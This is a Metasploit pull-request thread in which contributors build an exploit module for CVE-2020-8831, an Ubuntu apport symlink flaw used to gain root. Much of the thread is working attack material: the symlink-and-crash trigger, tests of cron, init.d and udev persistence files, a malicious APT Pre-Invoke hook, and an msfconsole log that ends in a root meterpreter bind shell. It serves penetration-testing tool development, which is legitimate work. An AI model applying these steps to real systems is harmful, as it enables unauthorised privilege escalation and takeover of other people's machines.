Add Apport Symlink Hijacking: CVE-2020-8831
This pull request is a draft for CVE-2020-8831, I originally came across this vulnerability while reading From Day Zero to Zero Day, which I highly recommend. The long story short is that certain versions of apport will follow symbolic links when writing crash dumps. This file will have a mask of 777 and be owned by root. In this module I used the command ln -s /cron.d /var/lock/apport so that a /etc/cron.d/lock crontab file would be created. This crontab should execute a payload every minute which was located in the /tmp directory.
After scratching my head for several hours and combing through the log files I found that the crontab would not execute because it's file permissions were too excessive. We need to find another place for the symlink hijacking to occur. I have a few places in mind namely /etc/init.d/ or ~/.bashrc which would trigger the payload upon startup. I am submitting this because I am unsure of which route to go or if there are other places where the symlink hijacking should occur. Thank you !
I've accidentally committed pushes from another module. My apologizes, I am unsure of the proper way to remove these.
I've accidentally committed pushes from another module. My apologizes, I am unsure of the proper way to remove these.
No problem; git is really awesome, but not always super intuitive.
It looks like the unwanted commits are all related to your previous game overlay module. I can think of 3 ways to fix it (in order of what I would try first)
- Rebase and only bring in the changes for the new module
- Open a new branch current with master, check the file you want out to it, commit the changes, then force-push the new branch with just the new module to your existing branch
- Open a new branch that's current with master, then get merge --cherry-pick the changes you want.
Last, if you want, let me know and I am pretty sure I can fix it for you, but you might lose some commits. The only file you need here is modules/exploits/linux/local/cve_2020_8831_apport_symlink_privesc.rb, right?
Yes, I only want the files relevant to this module pushed. I just added the rebase let me know if it is sufficient.
Yes, I only want the files relevant to this module pushed. I just added the rebase let me know if it is sufficient.
Looks good! Let us know when you'd like us to review it.
@gardnerapp any update? Are you still working on this? Anything we can do to help?
Hello, I've been working on other things sorry for the delay. I wasn't sure where the symlink hijacking should occur, if you read my first comment I talk about it more there. Can't use /etc/cron.d because a cron with 777 perms won't execute, I was thinking about using /etc/init.d/ or ~/.bashrc. Not sure if you had any other ideas for where the file should execute, if you could point me in the right direction that would help. Thanks!
@gardnerapp any update? Are you still working on this? Anything we can do to help?
I'm going to try and finish this next week sorry for the delay just wanted to keep you updated.
I haven't forgotten about this. I'm able to create a root owned file w 777 perms named lock not sure what to do with it. Also I'm creating a container to help with testing.
@gardnerapp, I'm sorry I completely missed the requests. If I understand correctly, this lets you write a root-permission file with an uncontrollable name? Is that correct?
@gardnerapp, I'm sorry I completely missed the requests. If I understand correctly, this lets you write a root-permission file with an uncontrollable name? Is that correct?
Yes sir, I've been working on other modules and have been stumped on this one for quiet some time. I've tried writing a cron but Ubuntu wont execute crons w 777 permissions, and I can't change the permissions because the file is owned by root. I've been thinking about going through the other places to persist but haven't gotten to it. Thanks for getting back to me.
Could we create a ~/.ssh/lock SSH private key and escalate w SSH? I've toyed around with /etc/rc.d and couldn't get anything to execute. Basically what I think we're looking for is anything that runs on boot or periodically on the system. We can make a check list and just go down that list until we hopefully find something.
My first thought was cron and something in rc.d, but if you've tried that, we'll need to dig a bit deeper. When you tried rc.d, did you overwrite the executable, or a config/script? I'm guessing that this does not have a read component so if we overwrite a config file, we can't save it, first? I'd also be curious about replacing a .so file with a binary payload.
I've tossed this out to the greater hive mind, and they will likely have some thoughts, too.
https://github.com/rapid7/metasploit-framework/pull/19815 may give you persistence ideas.
The exploit creates a file owned by root:root with the name of lock and 777 permissions. In order to avoid having to re-write the exploit for every single persistence directory I'm going to create this file manually. Every exploit will execute ~/home/ubuntu/exploit_test.sh which when executed will create /root/it_worked.
/etc/cron.d
~$ sudo touch /etc/cron.d/lock
~$ sudo chown root:root /etc/cron.d/lock && sudo chmod 777 /etc/cron.d/lock
~ $ cat exploit_test.sh
touch /root/it_worked
$ cat /etc/cron.d/lock
* * * * * /home/ubuntu/exploit_test.sh
$ ls -la /root/it_worked
ls: cannot access '/root/it_worked': No such file or directory
# Checking cron logs
$ cat /var/log/syslog
Aug 23 14:52:01 cron[533]: (*system*lock) INSECURE MODE (group/other writable) (/etc/cron.d/lock)
cron won't execute because of insecure perms :/
/etc/init.d
~$ ls -la /etc/init.d/lock
-rwxrwxrwx 1 root root 33 Aug 23 15:11 /etc/init.d/lock
$ cat /etc/init.d/lock
#! /bin/sh
touch /root/it_worked
# rebooted system, let init scripts run
$ sudo ls -la /root/it_worked
ls: cannot access '/root/it_worked': No such file or directory
As ubuntu user I get permission denied when trying to run /etc/init.d/lock start. Stuck in a conundrum, need to use root to enable the start up script and trying to enable the service to get root. I have zero experience creating startup scripts in this directory and I am not sure if I did this properly, let me know.
Hi there- I got a couple suggestions from the hive-mind here:
-
overwrite
/etc/environmentlike @remmons-r7 did here: https://assets.contentstack.io/v3/assets/blte4f029e766e6b253/bltad0709de42b54e82/689604359f008cdd02f69917/disguise-delimit-whitepaper.pdf -
write
bin/lsb_release(also from @remmons-r7, though I can't find a citation for the Sonicwall exploit it was used in....) Can you cite, @remmons-r7?
Also, a possible more destructive/persistent suggestion was udev: https://ch4ik0.github.io/en/posts/leveraging-Linux-udev-for-persistence/
- write
bin/lsb_release(also from @remmons-r7, though I can't find a citation for the Sonicwall exploit it was used in....) Can you cite, @remmons-r7?
Sure! Here's that research: https://www.rapid7.com/blog/post/2025/05/07/multiple-vulnerabilities-in-sonicwall-sma-100-series-2025/. Anything like that, writing a malicious binary to a higher directory on the path than the real binary, is a good and generally non-destructive bet.
I've create a udev rule by using the exploit:
ln -s /etc/udev/rules.d/ /var/lock/apport/
# trigger crash
sleep 10s & kill -11 $!
ls -la /erc/udev/rules.d/lock
-rwxrwxrwx 1 root root 63 Sep 22 15:06 lock
cat /etc/udev/rules.d/lock
SUBSYSTEMS=="net", KERNEL=="lo",RUN+="/home/ubuntu/trigger.sh"
cat trigger.sh
#!/bin/bashFILE=/home/ubuntu/file_udev$(($(date "+%Y%m%d%H")))if [ ! -f $FILE ]; thentouch $FILEfi
I've tried rebooting the system after this, no file is created. Additionally I've tried manually triggering the udev rule via sudo udevadm control --reload-rules && udevadm trigger. No luck.
As with executing a crontab with 777 permissions I suspect that execution is blocked for files with unsafe permissions. I've tried to validate this hypothesis by debugging udev logs but I can't find anything indicating that the rule is even firing.
I've tried using journalctl -r to look through the most recent boot logs. journalctl -r -u systemd-udev doesn't provide anything useful. Additionally after triggering udev rules manually I've attempted to monitor via udevadm monitor --environment --udev when I ran sudo udevadm control --reload-rules && udevadm trigger but nothing showed up in the logs.
- How do I debug udev rules?
- Is there anything blatantly obvious with the way I wrote the rule? It is supposed to fire every time the
lonetwork system is connected.
If you'd like to test this without installing the vulnerable version of Apport you can create a file with 777 permissions in /etc/udev/rules.d/, /usr/lib/udev/rules.d or /run/udev/rules.d.
OK this is all set to go I opted to use apt hooks for the privilege escalation. Thank you to everyone for the contributes and suggestions to this module. Here is a quick run down.
Before you test run these on the exploitable system:
sudo dpkg -i apport_2.20.11-0ubuntu21_all.deb
# sudo rm -rf /var/lock/apport/ /tmp/payload /etc/apt/apt.conf.d/lock && unlink /var/lock/apport
Now lets configure the exploit. I am using a bind shell because the machine is in the ☁️.
msf6 payload(linux/x64/meterpreter/bind_tcp) > search apport
> use 2
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set lport 7777
lport => 7777
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > set session 3
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > run
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable.
[*] Creating symlink...
[*] Triggering crash...
[+] Successfully created /etc/apt/apt.conf.d/lock
[*] Uploading payload..
[*] Writing '/tmp/gvcXmVizmg' (198 bytes) ...
[*] Started bind TCP handler against :7777
[*] Exploit completed, but no session was created.
Our exploit will now run on the next apt-get update, apt-get upgrade or apt-get install. Let's hop over to the exploitable machine.
$ ls -la /var/lock/apport
lrwxrwxrwx 1 ubuntu ubuntu 20 Oct 14 19:46 /var/lock/apport -> /etc/apt/apt.conf.d/
~$ cat /etc/apt/apt.conf.d/lock
APT::Update::Pre-Invoke {"/tmp/gvcXmVizmg"};
APT::Upgrade::Pre-Invoke {"/tmp/gvcXmVizmg"};
APT::Install::Pre-Invoke {"/tmp/gvcXmVizmg"};
# trigger the payload
$ sudo apt-get update
# in another terminal we can confirm 7777 is open
$ ss -ano | grep 7777
We'll hop back to msf and you'll find yourself with a root shell.
msf6 exploit(linux/local/cve_2020_8831_apport_symlink_privesc) > use exploit/multi/handler
[*] Using configured payload linux/x86/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set rhost 18.212.162.161
rhost => 18.212.162.161
msf6 exploit(multi/handler) >
rmsf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 18.212.162.161:5555
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set lport 7777
lport => 7777
runmsf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 18.212.162.161:7777
[*] Sending stage (1017704 bytes) to 18.212.162.161
[-] Meterpreter session 4 is not valid and will be closed
[*] 18.212.162.161 - Meterpreter session 4 closed.
^C[-] Exploit failed [user-interrupt]: Interrupt
[-] run: Interrupted
msf6 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp
payload => linux/x64/meterpreter/bind_tcp
rmsf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 18.212.162.161:7777
[*] Sending stage (3045380 bytes) to 18.212.162.161
[*] Meterpreter session 5 opened (192.168.0.239:57606 -> 18.212.162.161:7777) at 2025-10-14 15:49:00 -0400
meterpreter > shell
Process 5791 created.
Channel 1 created.
whoami
root
Thank you again !
@gardnerapp sweet! Is this ready to move out of draft?
@gardnerapp sweet! Is this ready to move out of draft?
yes
Thanks for your pull request! Before this can be merged, we need the following documentation for your module:
Thanks for your pull request! Before this pull request can be merged, it must pass the checks of our automated linting tools.
We use Rubocop and msftidy to ensure the quality of our code. This can be ran from the root directory of Metasploit:
rubocop <directory or file>
tools/dev/msftidy.rb <directory or file>
You can automate most of these changes with the -a flag:
rubocop -a <directory or file>
Please update your branch after these have been made, and reach out if you have any problems.
@gardnerapp what version of ubuntu are you using and where are you getting the apport deb package? The one above is not available at http://old-releases.ubuntu.com/ubuntu/pool/main/a/apport/
what version of ubuntu are you using
Wooops! You said it in the description- Xenial Xerus 16.04.7
Still curious where you got the deb package, though.
@gardnerapp any update on this?
@gardnerapp any update on this?
I've been on vacation, I'll take a look tomorrow and make some changes. My apoloigies
I've been on vacation, I'll take a look tomorrow and make some changes. My apoloigies
No problem at all. Enjoy your time off!
I accidentally committed a file for another exploit please ignore.